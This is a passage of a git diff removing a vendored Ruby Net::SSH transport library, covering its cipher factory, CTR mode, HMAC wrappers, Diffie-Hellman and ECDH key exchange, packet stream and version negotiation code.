"aes192-ctr" => "aes-192-ecb", - "aes256-ctr" => "aes-256-ecb", - "idea-cbc" => "idea-cbc", - "cast128-cbc" => "cast-cbc", - "rijndael-cbc@lysator.liu.se" => "aes-256-cbc", - "arcfour128" => "rc4", - "arcfour256" => "rc4", - "none" => "none" - } - - # Returns true if the underlying OpenSSL library supports the given cipher, - # and false otherwise. - def self.supported?(name) - ossl_name = SSH_TO_OSSL[name] or raise NotImplementedError, "unimplemented cipher `#{name}'" - return true if ossl_name == "none" - return OpenSSL::Cipher.ciphers.include?(ossl_name) - end - - # Retrieves a new instance of the named algorithm. The new instance - # will be initialized using an iv and key generated from the given - # iv, key, shared, hash and digester values. Additionally, the - # cipher will be put into encryption or decryption mode, based on the - # value of the +encrypt+ parameter. - def self.get(name, options={}) - ossl_name = SSH_TO_OSSL[name] or raise NotImplementedError, "unimplemented cipher `#{name}'" - return IdentityCipher if ossl_name == "none" - - cipher = OpenSSL::Cipher::Cipher.new(ossl_name) - cipher.send(options[:encrypt] ? :encrypt : :decrypt) - - cipher.extend(Net::SSH::Transport::CTR) if (name =~ /-ctr$/) - - cipher.padding = 0 - cipher.iv = make_key(cipher.iv_len, options[:iv], options) if ossl_name != "rc4" - cipher.key_len = 32 if name == "arcfour256" - cipher.key = make_key(cipher.key_len, options[:key], options) - cipher.update(" " * 1536) if ossl_name == "rc4" - - return cipher - end - - # Returns a two-element array containing the [ key-length, - # block-size ] for the named cipher algorithm. If the cipher - # algorithm is unknown, or is "none", 0 is returned for both elements - # of the tuple. - def self.get_lengths(name) - ossl_name = SSH_TO_OSSL[name] - return [0, 0] if ossl_name.nil? || ossl_name == "none" - - cipher = OpenSSL::Cipher::Cipher.new(ossl_name) - return [cipher.key_len, ossl_name=="rc4" ? 8 : cipher.block_size] - end - - private - - # Generate a key value in accordance with the SSH2 specification. - def self.make_key(bytes, start, options={}) - k = start[0, bytes] - - digester = options[:digester] - shared = options[:shared] - hash = options[:hash] - - while k.length < bytes - step = digester.digest(shared + hash + k) - bytes_needed = bytes - k.length - k << step[0, bytes_needed] - end - - return k - end - end - -end; end; end diff --git a/lib/net/ssh/transport/constants.rb b/lib/net/ssh/transport/constants.rb deleted file mode 100644 index 8df2b2747f..0000000000 --- a/lib/net/ssh/transport/constants.rb +++ /dev/null @@ -1,33 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH; module Transport - module Constants - - #-- - # Transport layer generic messages - #++ - - DISCONNECT = 1 - IGNORE = 2 - UNIMPLEMENTED = 3 - DEBUG = 4 - SERVICE_REQUEST = 5 - SERVICE_ACCEPT = 6 - - #-- - # Algorithm negotiation messages - #++ - - KEXINIT = 20 - NEWKEYS = 21 - - #-- - # Key exchange method specific messages - #++ - - KEXDH_INIT = 30 - KEXDH_REPLY = 31 - - KEXECDH_INIT = 30 - KEXECDH_REPLY = 31 - end -end; end; end diff --git a/lib/net/ssh/transport/ctr.rb b/lib/net/ssh/transport/ctr.rb deleted file mode 100644 index ad4c36836b..0000000000 --- a/lib/net/ssh/transport/ctr.rb +++ /dev/null @@ -1,96 +0,0 @@ -# -*- coding: binary -*- -require 'openssl' - -module Net::SSH::Transport - - # Pure-Ruby implementation of Stateful Decryption Counter(SDCTR) Mode - # for Block Ciphers. See RFC4344 for detail. - module CTR - def self.extended(orig) - orig.instance_eval { - @remaining = "" - @counter = nil - @counter_len = orig.block_size - orig.encrypt - orig.padding = 0 - } - - class <= block_size - encrypted += xor!(@remaining.slice!(0, block_size), - _update(@counter)) - increment_counter! - end - - encrypted - end - - def final - unless @remaining.empty? - s = xor!(@remaining, _update(@counter)) - else - s = "" - end - - @remaining = "" - - s - end - - private - - def xor!(s1, s2) - s = [] - s1.unpack('Q*').zip(s2.unpack('Q*')) {|a,b| s.push(a^b) } - s.pack('Q*') - end - - def increment_counter! - c = @counter_len - while ((c -= 1) > 0) - if @counter.setbyte(c, (@counter.getbyte(c) + 1) & 0xff) != 0 - break - end - end - end - end - end - end -end diff --git a/lib/net/ssh/transport/hmac.rb b/lib/net/ssh/transport/hmac.rb deleted file mode 100644 index 9721475ba6..0000000000 --- a/lib/net/ssh/transport/hmac.rb +++ /dev/null @@ -1,32 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/transport/hmac/md5' -require 'net/ssh/transport/hmac/md5_96' -require 'net/ssh/transport/hmac/sha1' -require 'net/ssh/transport/hmac/sha1_96' -require 'net/ssh/transport/hmac/none' - -# Implements a simple factory interface for fetching hmac implementations, or -# for finding the key lengths for hmac implementations.s -module Net::SSH::Transport::HMAC - # The mapping of SSH hmac algorithms to their implementations - MAP = { - 'hmac-md5' => MD5, - 'hmac-md5-96' => MD5_96, - 'hmac-sha1' => SHA1, - 'hmac-sha1-96' => SHA1_96, - 'none' => None - } - - # Retrieves a new hmac instance of the given SSH type (+name+). If +key+ is - # given, the new instance will be initialized with that key. - def self.get(name, key="") - impl = MAP[name] or raise ArgumentError, "hmac not found: #{name.inspect}" - impl.new(key) - end - - # Retrieves the key length for the hmac of the given SSH type (+name+). - def self.key_length(name) - impl = MAP[name] or raise ArgumentError, "hmac not found: #{name.inspect}" - impl.key_length - end -end diff --git a/lib/net/ssh/transport/hmac/abstract.rb b/lib/net/ssh/transport/hmac/abstract.rb deleted file mode 100644 index 1020070394..0000000000 --- a/lib/net/ssh/transport/hmac/abstract.rb +++ /dev/null @@ -1,79 +0,0 @@ -# -*- coding: binary -*- -require 'openssl' - -module Net; module SSH; module Transport; module HMAC - - # The base class of all OpenSSL-based HMAC algorithm wrappers. - class Abstract - - class < DiffieHellmanGroupExchangeSHA1, - 'diffie-hellman-group1-sha1' => DiffieHellmanGroup1SHA1 - } - if defined?(OpenSSL::PKey::EC) - require 'net/ssh/transport/kex/ecdh_sha2_nistp256' - require 'net/ssh/transport/kex/ecdh_sha2_nistp384' - require 'net/ssh/transport/kex/ecdh_sha2_nistp521' - - MAP['ecdh-sha2-nistp256'] = EcdhSHA2NistP256 - MAP['ecdh-sha2-nistp384'] = EcdhSHA2NistP384 - MAP['ecdh-sha2-nistp521'] = EcdhSHA2NistP521 - end - - if defined?(DiffieHellmanGroupExchangeSHA256) - MAP['diffie-hellman-group-exchange-sha256'] = DiffieHellmanGroupExchangeSHA256 - end - end -end diff --git a/lib/net/ssh/transport/kex/diffie_hellman_group1_sha1.rb b/lib/net/ssh/transport/kex/diffie_hellman_group1_sha1.rb deleted file mode 100644 index 2ea524d0b4..0000000000 --- a/lib/net/ssh/transport/kex/diffie_hellman_group1_sha1.rb +++ /dev/null @@ -1,209 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/errors' -require 'net/ssh/loggable' -require 'net/ssh/transport/openssl' -require 'net/ssh/transport/constants' - -module Net; module SSH; module Transport; module Kex - - # A key-exchange service implementing the "diffie-hellman-group1-sha1" - # key-exchange algorithm. - class DiffieHellmanGroup1SHA1 - include Constants, Loggable - - # The value of 'P', as a string, in hexadecimal - P_s = "FFFFFFFF" "FFFFFFFF" "C90FDAA2" "2168C234" + - "C4C6628B" "80DC1CD1" "29024E08" "8A67CC74" + - "020BBEA6" "3B139B22" "514A0879" "8E3404DD" + - "EF9519B3" "CD3A431B" "302B0A6D" "F25F1437" + - "4FE1356D" "6D51C245" "E485B576" "625E7EC6" + - "F44C42E9" "A637ED6B" "0BFF5CB6" "F406B7ED" + - "EE386BFB" "5A899FA5" "AE9F2411" "7C4B1FE6" + - "49286651" "ECE65381" "FFFFFFFF" "FFFFFFFF" - - # The radix in which P_s represents the value of P - P_r = 16 - - # The group constant - G = 2 - - attr_reader :p - attr_reader :g - attr_reader :digester - attr_reader :algorithms - attr_reader :connection - attr_reader :data - attr_reader :dh - - # Create a new instance of the DiffieHellmanGroup1SHA1 algorithm. - # The data is a Hash of symbols representing information - # required by this algorithm, which was acquired during earlier - # processing. - def initialize(algorithms, connection, data) - @p = OpenSSL::BN.new(P_s, P_r) - @g = G - - @digester = OpenSSL::Digest::SHA1 - @algorithms = algorithms - @connection = connection - - @data = data.dup - @dh = generate_key - @logger = @data.delete(:logger) - end - - # Perform the key-exchange for the given session, with the given - # data. This method will return a hash consisting of the - # following keys: - # - # * :session_id - # * :server_key - # * :shared_secret - # * :hashing_algorithm - # - # The caller is expected to be able to understand how to use these - # deliverables. - def exchange_keys - result = send_kexinit - verify_server_key(result[:server_key]) - session_id = verify_signature(result) - confirm_newkeys - - return { :session_id => session_id, - :server_key => result[:server_key], - :shared_secret => result[:shared_secret], - :hashing_algorithm => digester } - end - - private - - # Returns the DH key parameters for the current connection. - def get_parameters - [p, g] - end - - # Returns the INIT/REPLY constants used by this algorithm. - def get_message_types - [KEXDH_INIT, KEXDH_REPLY] - end - - # Build the signature buffer to use when verifying a signature from - # the server. - def build_signature_buffer(result) - response = Net::SSH::Buffer.new - response.write_string data[:client_version_string], - data[:server_version_string], - data[:client_algorithm_packet], - data[:server_algorithm_packet], - result[:key_blob] - response.write_bignum dh.pub_key, - result[:server_dh_pubkey], - result[:shared_secret] - response - end - - # Generate a DH key with a private key consisting of the given - # number of bytes. - def generate_key #:nodoc: - dh = OpenSSL::PKey::DH.new - - dh.p, dh.g = get_parameters - dh.priv_key = OpenSSL::BN.rand(data[:need_bytes] * 8) - - dh.generate_key! until dh.valid? - - dh - end - - # Send the KEXDH_INIT message, and expect the KEXDH_REPLY. Return the - # resulting buffer. - # - # Parse the buffer from a KEXDH_REPLY message, returning a hash of - # the extracted values. - def send_kexinit #:nodoc: - init, reply = get_message_types - - # send the KEXDH_INIT message - buffer = Net::SSH::Buffer.from(:byte, init, :bignum, dh.pub_key) - connection.send_message(buffer) - - # expect the KEXDH_REPLY message - buffer = connection.next_message - raise Net::SSH::Exception, "expected REPLY" unless buffer.type == reply - - result = Hash.new - - result[:key_blob] = buffer.read_string - result[:server_key] = Net::SSH::Buffer.new(result[:key_blob]).read_key - result[:server_dh_pubkey] = buffer.read_bignum - result[:shared_secret] = OpenSSL::BN.new(dh.compute_key(result[:server_dh_pubkey]), 2) - - sig_buffer = Net::SSH::Buffer.new(buffer.read_string) - sig_type = sig_buffer.read_string - if sig_type != algorithms.host_key - raise Net::SSH::Exception, - "host key algorithm mismatch for signature " + - "'#{sig_type}' != '#{algorithms.host_key}'" - end - result[:server_sig] = sig_buffer.read_string - - return result - end - - # Verify that the given key is of the expected type, and that it - # really is the key for the session's host. Raise Net::SSH::Exception - # if it is not. - def verify_server_key(key) #:nodoc: - if key.ssh_type != algorithms.host_key - raise Net::SSH::Exception, - "host key algorithm mismatch " + - "'#{key.ssh_type}' != '#{algorithms.host_key}'" - end - - blob, fingerprint = generate_key_fingerprint(key) - - unless connection.host_key_verifier.verify(:key => key, :key_blob => blob, :fingerprint => fingerprint, :session => connection) - raise Net::SSH::Exception, "host key verification failed" - end - end - - def generate_key_fingerprint(key) - blob = Net::SSH::Buffer.from(:key, key).to_s - fingerprint = OpenSSL::Digest::MD5.hexdigest(blob).scan(/../).join(":") - - [blob, fingerprint] - rescue ::Exception => e - [nil, "(could not generate fingerprint: #{e.message})"] - end - - # Verify the signature that was received. Raise Net::SSH::Exception - # if the signature could not be verified. Otherwise, return the new - # session-id. - def verify_signature(result) #:nodoc: - response = build_signature_buffer(result) - - hash = @digester.digest(response.to_s) - - unless result[:server_key].ssh_do_verify(result[:server_sig], hash) - raise Net::SSH::Exception, "could not verify server signature" - end - - return hash - end - - # Send the NEWKEYS message, and expect the NEWKEYS message in - # reply. - def confirm_newkeys #:nodoc: - # send own NEWKEYS message first (the wodSSHServer won't send first) - response = Net::SSH::Buffer.new - response.write_byte(NEWKEYS) - connection.send_message(response) - - # wait for the server's NEWKEYS message - buffer = connection.next_message - raise Net::SSH::Exception, "expected NEWKEYS" unless buffer.type == NEWKEYS - end - end - -end; end; end; end diff --git a/lib/net/ssh/transport/kex/diffie_hellman_group_exchange_sha1.rb b/lib/net/ssh/transport/kex/diffie_hellman_group_exchange_sha1.rb deleted file mode 100644 index 0764304279..0000000000 --- a/lib/net/ssh/transport/kex/diffie_hellman_group_exchange_sha1.rb +++ /dev/null @@ -1,78 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/errors' -require 'net/ssh/transport/constants' -require 'net/ssh/transport/kex/diffie_hellman_group1_sha1' - -module Net::SSH::Transport::Kex - - # A key-exchange service implementing the - # "diffie-hellman-group-exchange-sha1" key-exchange algorithm. - class DiffieHellmanGroupExchangeSHA1 < DiffieHellmanGroup1SHA1 - MINIMUM_BITS = 1024 - MAXIMUM_BITS = 8192 - - KEXDH_GEX_GROUP = 31 - KEXDH_GEX_INIT = 32 - KEXDH_GEX_REPLY = 33 - KEXDH_GEX_REQUEST = 34 - - private - - # Compute the number of bits needed for the given number of bytes. - def compute_need_bits - need_bits = data[:need_bytes] * 8 - if need_bits < MINIMUM_BITS - need_bits = MINIMUM_BITS - elsif need_bits > MAXIMUM_BITS - need_bits = MAXIMUM_BITS - end - - data[:need_bits ] = need_bits - data[:need_bytes] = need_bits / 8 - end - - # Returns the DH key parameters for the given session. - def get_parameters - compute_need_bits - - # request the DH key parameters for the given number of bits. - buffer = Net::SSH::Buffer.from(:byte, KEXDH_GEX_REQUEST, :long, MINIMUM_BITS, - :long, data[:need_bits], :long, MAXIMUM_BITS) - connection.send_message(buffer) - - buffer = connection.next_message - unless buffer.type == KEXDH_GEX_GROUP - raise Net::SSH::Exception, "expected KEXDH_GEX_GROUP, got #{buffer.type}" - end - - p = buffer.read_bignum - g = buffer.read_bignum - - [p, g] - end - - # Returns the INIT/REPLY constants used by this algorithm. - def get_message_types - [KEXDH_GEX_INIT, KEXDH_GEX_REPLY] - end - - # Build the signature buffer to use when verifying a signature from - # the server. - def build_signature_buffer(result) - response = Net::SSH::Buffer.new - response.write_string data[:client_version_string], - data[:server_version_string], - data[:client_algorithm_packet], - data[:server_algorithm_packet], - result[:key_blob] - response.write_long MINIMUM_BITS, - data[:need_bits], - MAXIMUM_BITS - response.write_bignum dh.p, dh.g, dh.pub_key, - result[:server_dh_pubkey], - result[:shared_secret] - response - end - end - -end diff --git a/lib/net/ssh/transport/kex/diffie_hellman_group_exchange_sha256.rb b/lib/net/ssh/transport/kex/diffie_hellman_group_exchange_sha256.rb deleted file mode 100644 index 277c4fbc4f..0000000000 --- a/lib/net/ssh/transport/kex/diffie_hellman_group_exchange_sha256.rb +++ /dev/null @@ -1,16 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha1' - -module Net::SSH::Transport::Kex - if defined?(OpenSSL::Digest::SHA256) - # A key-exchange service implementing the - # "diffie-hellman-group-exchange-sha256" key-exchange algorithm. - class DiffieHellmanGroupExchangeSHA256 < DiffieHellmanGroupExchangeSHA1 - def initialize(*args) - super(*args) - - @digester = OpenSSL::Digest::SHA256 - end - end - end -end diff --git a/lib/net/ssh/transport/kex/ecdh_sha2_nistp256.rb b/lib/net/ssh/transport/kex/ecdh_sha2_nistp256.rb deleted file mode 100644 index 1852c024df..0000000000 --- a/lib/net/ssh/transport/kex/ecdh_sha2_nistp256.rb +++ /dev/null @@ -1,94 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/transport/constants' -require 'net/ssh/transport/kex/diffie_hellman_group1_sha1' - -module Net; module SSH; module Transport; module Kex - - # A key-exchange service implementing the "ecdh-sha2-nistp256" - # key-exchange algorithm. (defined in RFC 5656) - class EcdhSHA2NistP256 < DiffieHellmanGroup1SHA1 - include Constants, Loggable - - attr_reader :ecdh - - def digester - OpenSSL::Digest::SHA256 - end - - def curve_name - OpenSSL::PKey::EC::CurveNameAlias['nistp256'] - end - - def initialize(algorithms, connection, data) - @algorithms = algorithms - @connection = connection - - @digester = digester - @data = data.dup - @ecdh = generate_key - @logger = @data.delete(:logger) - end - - private - - def get_message_types - [KEXECDH_INIT, KEXECDH_REPLY] - end - - def build_signature_buffer(result) - response = Net::SSH::Buffer.new - response.write_string data[:client_version_string], - data[:server_version_string], - data[:client_algorithm_packet], - data[:server_algorithm_packet], - result[:key_blob], - ecdh.public_key.to_bn.to_s(2), - result[:server_ecdh_pubkey] - response.write_bignum result[:shared_secret] - response - end - - def generate_key #:nodoc: - OpenSSL::PKey::EC.new(curve_name).generate_key - end - - def send_kexinit #:nodoc: - init, reply = get_message_types - - # send the KEXECDH_INIT message - ## byte SSH_MSG_KEX_ECDH_INIT - ## string Q_C, client's ephemeral public key octet string - buffer = Net::SSH::Buffer.from(:byte, init, :string, ecdh.public_key.to_bn.to_s(2)) - connection.send_message(buffer) - - # expect the following KEXECDH_REPLY message - ## byte SSH_MSG_KEX_ECDH_REPLY - ## string K_S, server's public host key - ## string Q_S, server's ephemeral public key octet string - ## string the signature on the exchange hash - buffer = connection.next_message - raise Net::SSH::Exception, "expected REPLY" unless buffer.type == reply - - result = Hash.new - result[:key_blob] = buffer.read_string - result[:server_key] = Net::SSH::Buffer.new(result[:key_blob]).read_key - result[:server_ecdh_pubkey] = buffer.read_string - - # compute shared secret from server's public key and client's private key - pk = OpenSSL::PKey::EC::Point.new(OpenSSL::PKey::EC.new(curve_name).group, - OpenSSL::BN.new(result[:server_ecdh_pubkey], 2)) - result[:shared_secret] = OpenSSL::BN.new(ecdh.dh_compute_key(pk), 2) - - sig_buffer = Net::SSH::Buffer.new(buffer.read_string) - sig_type = sig_buffer.read_string - if sig_type != algorithms.host_key - raise Net::SSH::Exception, - "host key algorithm mismatch for signature " + - "'#{sig_type}' != '#{algorithms.host_key}'" - end - result[:server_sig] = sig_buffer.read_string - - return result - end - end -end; end; end; end diff --git a/lib/net/ssh/transport/kex/ecdh_sha2_nistp384.rb b/lib/net/ssh/transport/kex/ecdh_sha2_nistp384.rb deleted file mode 100644 index ab79ee4209..0000000000 --- a/lib/net/ssh/transport/kex/ecdh_sha2_nistp384.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH; module Transport; module Kex - - # A key-exchange service implementing the "ecdh-sha2-nistp384" - # key-exchange algorithm. (defined in RFC 5656) - class EcdhSHA2NistP384 < EcdhSHA2NistP256 - def digester - OpenSSL::Digest::SHA384 - end - def curve_name - OpenSSL::PKey::EC::CurveNameAlias['nistp384'] - end - end -end; end; end; end diff --git a/lib/net/ssh/transport/kex/ecdh_sha2_nistp521.rb b/lib/net/ssh/transport/kex/ecdh_sha2_nistp521.rb deleted file mode 100644 index c6c4df5d78..0000000000 --- a/lib/net/ssh/transport/kex/ecdh_sha2_nistp521.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH; module Transport; module Kex - - # A key-exchange service implementing the "ecdh-sha2-nistp521" - # key-exchange algorithm. (defined in RFC 5656) - class EcdhSHA2NistP521 < EcdhSHA2NistP256 - def digester - OpenSSL::Digest::SHA512 - end - def curve_name - OpenSSL::PKey::EC::CurveNameAlias['nistp521'] - end - end -end; end; end; end diff --git a/lib/net/ssh/transport/openssl.rb b/lib/net/ssh/transport/openssl.rb deleted file mode 100644 index 47a62ef726..0000000000 --- a/lib/net/ssh/transport/openssl.rb +++ /dev/null @@ -1,142 +0,0 @@ -# -*- coding: binary -*- -require 'openssl' -require 'net/ssh/buffer' - -module OpenSSL - - # This class is originally defined in the OpenSSL module. As needed, methods - # have been added to it by the Net::SSH module for convenience in dealing with - # SSH functionality. - class BN - - # Converts a BN object to a string. The format used is that which is - # required by the SSH2 protocol. - def to_ssh - if zero? - return [0].pack("N") - else - buf = to_s(2) - if buf.getbyte(0)[7] == 1 - return [buf.length+1, 0, buf].pack("NCA*") - else - return [buf.length, buf].pack("NA*") - end - end - end - - end - - module PKey - - class PKey - def fingerprint - @fingerprint ||= OpenSSL::Digest::MD5.hexdigest(to_blob).scan(/../).join(":") - end - end - - # This class is originally defined in the OpenSSL module. As needed, methods - # have been added to it by the Net::SSH module for convenience in dealing - # with SSH functionality. - class DH - - # Determines whether the pub_key for this key is valid. (This algorithm - # lifted more-or-less directly from OpenSSH, dh.c, dh_pub_is_valid.) - def valid? - return false if pub_key.nil? || pub_key < 0 - bits_set = 0 - pub_key.num_bits.times { |i| bits_set += 1 if pub_key.bit_set?(i) } - return ( bits_set > 1 && pub_key < p ) - end - - end - - # This class is originally defined in the OpenSSL module. As needed, methods - # have been added to it by the Net::SSH module for convenience in dealing - # with SSH functionality. - class RSA - - # Returns "ssh-rsa", which is the description of this key type used by the - # SSH2 protocol. - def ssh_type - "ssh-rsa" - end - - # Converts the key to a blob, according to the SSH2 protocol. - def to_blob - @blob ||= Net::SSH::Buffer.from(:string, ssh_type, :bignum, e, :bignum, n).to_s - end - - # Verifies the given signature matches the given data. - def ssh_do_verify(sig, data) - verify(OpenSSL::Digest::SHA1.new, sig, data) - end - - # Returns the signature for the given data. - def ssh_do_sign(data) - sign(OpenSSL::Digest::SHA1.new, data) - end - end - - # This class is originally defined in the OpenSSL module. As needed, methods - # have been added to it by the Net::SSH module for convenience in dealing - # with SSH functionality. - class DSA - - # Returns "ssh-dss", which is the description of this key type used by the - # SSH2 protocol. - def ssh_type - "ssh-dss" - end - - # Converts the key to a blob, according to the SSH2 protocol. - def to_blob - @blob ||= Net::SSH::Buffer.from(:string, ssh_type, - :bignum, p, :bignum, q, :bignum, g, :bignum, pub_key).to_s - end - - # Verifies the given signature matches the given data. - def ssh_do_verify(sig, data) - sig_r = sig[0,20].unpack("H*")[0].to_i(16) - sig_s = sig[20,20].unpack("H*")[0].to_i(16) - a1sig = OpenSSL::ASN1::Sequence([ - OpenSSL::ASN1::Integer(sig_r), - OpenSSL::ASN1::Integer(sig_s) - ]) - return verify(OpenSSL::Digest::DSS1.new, a1sig.to_der, data) - end - - # Signs the given data. - def ssh_do_sign(data) - sig = sign( OpenSSL::Digest::DSS1.new, data) - a1sig = OpenSSL::ASN1.decode( sig ) - - sig_r = a1sig.value[0].value.to_s(2) - sig_s = a1sig.value[1].value.to_s(2) - - if sig_r.length > 20 || sig_s.length > 20 - raise OpenSSL::PKey::DSAError, "bad sig size" - end - - sig_r = "\0" * ( 20 - sig_r.length ) + sig_r if sig_r.length < 20 - sig_s = "\0" * ( 20 - sig_s.length ) + sig_s if sig_s.length < 20 - - return sig_r + sig_s - end - end - - if defined?(OpenSSL::PKey::EC) - # This class is originally defined in the OpenSSL module. As needed, methods - # have been added to it by the Net::SSH module for convenience in dealing - # with SSH funcationality. - class EC - CurveNameAlias = { - "nistp256" => "prime256v1", - "nistp384" => "secp384r1", - "nistp521" => "secp521r1", - } - end - end - - end - -end diff --git a/lib/net/ssh/transport/packet_stream.rb b/lib/net/ssh/transport/packet_stream.rb deleted file mode 100644 index b8c966b988..0000000000 --- a/lib/net/ssh/transport/packet_stream.rb +++ /dev/null @@ -1,228 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffered_io' -require 'net/ssh/errors' -require 'net/ssh/packet' -require 'net/ssh/transport/cipher_factory' -require 'net/ssh/transport/hmac' -require 'net/ssh/transport/state' - -module Net; module SSH; module Transport - - # A module that builds additional functionality onto the Net::SSH::BufferedIo - # module. It adds SSH encryption, compression, and packet validation, as - # per the SSH2 protocol. It also adds an abstraction for polling packets, - # to allow for both blocking and non-blocking reads. - module PacketStream - include BufferedIo - - def self.extended(object) - object.__send__(:initialize_ssh) - end - - # The map of "hints" that can be used to modify the behavior of the packet - # stream. For instance, when authentication succeeds, an "authenticated" - # hint is set, which is used to determine whether or not to compress the - # data when using the "delayed" compression algorithm. - attr_reader :hints - - # The server state object, which encapsulates the algorithms used to interpret - # packets coming from the server. - attr_reader :server - - # The client state object, which encapsulates the algorithms used to build - # packets to send to the server. - attr_reader :client - - # The name of the client (local) end of the socket, as reported by the - # socket. - def client_name - @client_name ||= begin - sockaddr = getsockname - begin - Socket.getnameinfo(sockaddr, Socket::NI_NAMEREQD).first - rescue - begin - Socket.getnameinfo(sockaddr).first - rescue - begin - Socket.gethostbyname(Socket.gethostname).first - rescue - lwarn { "the client ipaddr/name could not be determined" } - "unknown" - end - end - end - end - end - - # The IP address of the peer (remote) end of the socket, as reported by - # the Rex socket. - def peer_ip - @peer_ip ||= getpeername[1] - end - - # Returns true if the IO is available for reading, and false otherwise. - def available_for_read? - result = IO.select([self], nil, nil, 0) - result && result.first.any? - end - - # Returns the next full packet. If the mode parameter is :nonblock (the - # default), then this will return immediately, whether a packet is - # available or not, and will return nil if there is no packet ready to be - # returned. If the mode parameter is :block, then this method will block - # until a packet is available. - def next_packet(mode=:nonblock) - case mode - when :nonblock then - fill if available_for_read? - poll_next_packet - - when :block then - loop do - packet = poll_next_packet - return packet if packet - - loop do - result = IO.select([self]) or next - break if result.first.any? - end - - if fill <= 0 - raise Net::SSH::Disconnect, "connection closed by remote host" - end - end - - else - raise ArgumentError, "expected :block or :nonblock, got #{mode.inspect}" - end - end - - # Enqueues a packet to be sent, and blocks until the entire packet is - # sent. - def send_packet(payload) - enqueue_packet(payload) - wait_for_pending_sends - end - - # Enqueues a packet to be sent, but does not immediately send the packet. - # The given payload is pre-processed according to the algorithms specified - # in the client state (compression, cipher, and hmac). - def enqueue_packet(payload) - # try to compress the packet - payload = client.compress(payload) - - # the length of the packet, minus the padding - actual_length = 4 + payload.length + 1 - - # compute the padding length - padding_length = client.block_size - (actual_length % client.block_size) - padding_length += client.block_size if padding_length < 4 - - # compute the packet length (sans the length field itself) - packet_length = payload.length + padding_length + 1 - - if packet_length < 16 - padding_length += client.block_size - packet_length = payload.length + padding_length + 1 - end - - padding = Array.new(padding_length) { rand(256) }.pack("C*") - - unencrypted_data = [packet_length, padding_length, payload, padding].pack("NCA*A*") - mac = client.hmac.digest([client.sequence_number, unencrypted_data].pack("NA*")) - - encrypted_data = client.update_cipher(unencrypted_data) << client.final_cipher - message = encrypted_data + mac - - debug { "queueing packet nr #{client.sequence_number} type #{payload.getbyte(0)} len #{packet_length}" } - enqueue(message) - - client.increment(packet_length) - - self - end - - # Performs any pending cleanup necessary on the IO and its associated - # state objects. (See State#cleanup). - def cleanup - client.cleanup - server.cleanup - end - - # If the IO object requires a rekey operation (as indicated by either its - # client or server state objects, see State#needs_rekey?), this will - # yield. Otherwise, this does nothing. - def if_needs_rekey? - if client.needs_rekey? || server.needs_rekey? - yield - client.reset! if client.needs_rekey? - server.reset! if server.needs_rekey? - end - end - - protected - - # Called when this module is used to extend an object. It initializes - # the states and generally prepares the object for use as a packet stream. - def initialize_ssh - @hints = {} - @server = State.new(self, :server) - @client = State.new(self, :client) - @packet = nil - initialize_buffered_io - end - - # Tries to read the next packet. If there is insufficient data to read - # an entire packet, this returns immediately, otherwise the packet is - # read, post-processed according to the cipher, hmac, and compression - # algorithms specified in the server state object, and returned as a - # new Packet object. - def poll_next_packet - if @packet.nil? - minimum = server.block_size < 4 ? 4 : server.block_size - return nil if available < minimum - data = read_available(minimum) - - # decipher it - @packet = Net::SSH::Buffer.new(server.update_cipher(data)) - @packet_length = @packet.read_long - end - - need = @packet_length + 4 - server.block_size - raise Net::SSH::Exception, "padding error, need #{need} block #{server.block_size}" if need % server.block_size != 0 - - return nil if available < need + server.hmac.mac_length - - if need > 0 - # read the remainder of the packet and decrypt it. - data = read_available(need) - @packet.append(server.update_cipher(data)) - end - - # get the hmac from the tail of the packet (if one exists), and - # then validate it. - real_hmac = read_available(server.hmac.mac_length) || "" - - @packet.append(server.final_cipher) - padding_length = @packet.read_byte - - payload = @packet.read(@packet_length - padding_length - 1) - padding = @packet.read(padding_length) if padding_length > 0 - - my_computed_hmac = server.hmac.digest([server.sequence_number, @packet.content].pack("NA*")) - raise Net::SSH::Exception, "corrupted mac detected" if real_hmac != my_computed_hmac - - # try to decompress the payload, in case compression is active - payload = server.decompress(payload) - - debug { "received packet nr #{server.sequence_number} type #{payload.getbyte(0)} len #{@packet_length}" } - - server.increment(@packet_length) - @packet = nil - - return Packet.new(payload) - end - end - -end; end; end diff --git a/lib/net/ssh/transport/server_version.rb b/lib/net/ssh/transport/server_version.rb deleted file mode 100644 index 037b448bd9..0000000000 --- a/lib/net/ssh/transport/server_version.rb +++ /dev/null @@ -1,72 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/errors' -require 'net/ssh/loggable' -require 'net/ssh/version' - -module Net; module SSH; module Transport - - # Negotiates the SSH protocol version and trades information about server - # and client. This is never used directly--it is always called by the - # transport layer as part of the initialization process of the transport - # layer. - # - # Note that this class also encapsulates the negotiated version, and acts as - # the authoritative reference for any queries regarding the version in effect. - class ServerVersion - include Loggable - - # The SSH version string as reported by Net::SSH - PROTO_VERSION = "SSH-2.0-OpenSSH_5.0" - - # Any header text sent by the server prior to sending the version. - attr_reader :header - - # The version string reported by the server. - attr_reader :version - - # Instantiates a new ServerVersion and immediately (and synchronously) - # negotiates the SSH protocol in effect, using the given socket. - def initialize(socket, logger) - @header = "" - @version = nil - @logger = logger - negotiate!(socket) - end - - private - - # Negotiates the SSH protocol to use, via the given socket. If the server - # reports an incompatible SSH version (e.g., SSH1), this will raise an - # exception. - def negotiate!(socket) - info { "negotiating protocol version" } - - loop do - @version = "" - loop do - version_timeout = (9000/1000.0)+3 # (3 to 12 seconds) - b = socket.get_once(1,version_timeout) - if b.nil? - raise Net::SSH::Disconnect, "connection timed out or closed by remote host" - end - @version << b - break if b == "\n" - end - break if @version.match(/^SSH-/) - @header << @version - end - - @version.chomp! - debug { "remote is `#{@version}'" } - - unless @version.match(/^SSH-(1\.99|2\.0)-/) - raise Net::SSH::Exception, "incompatible SSH version `#{@version}'" - end - - debug { "local is `#{PROTO_VERSION}'" } - socket.write "#{PROTO_VERSION}\r\n" - socket.flush - end - end -end; end; end - diff --git a/lib/net/ssh/transport/session.rb b/lib/net/ssh/transport/session.rb deleted file mode 100644 index 515c681901..0000000000 --- 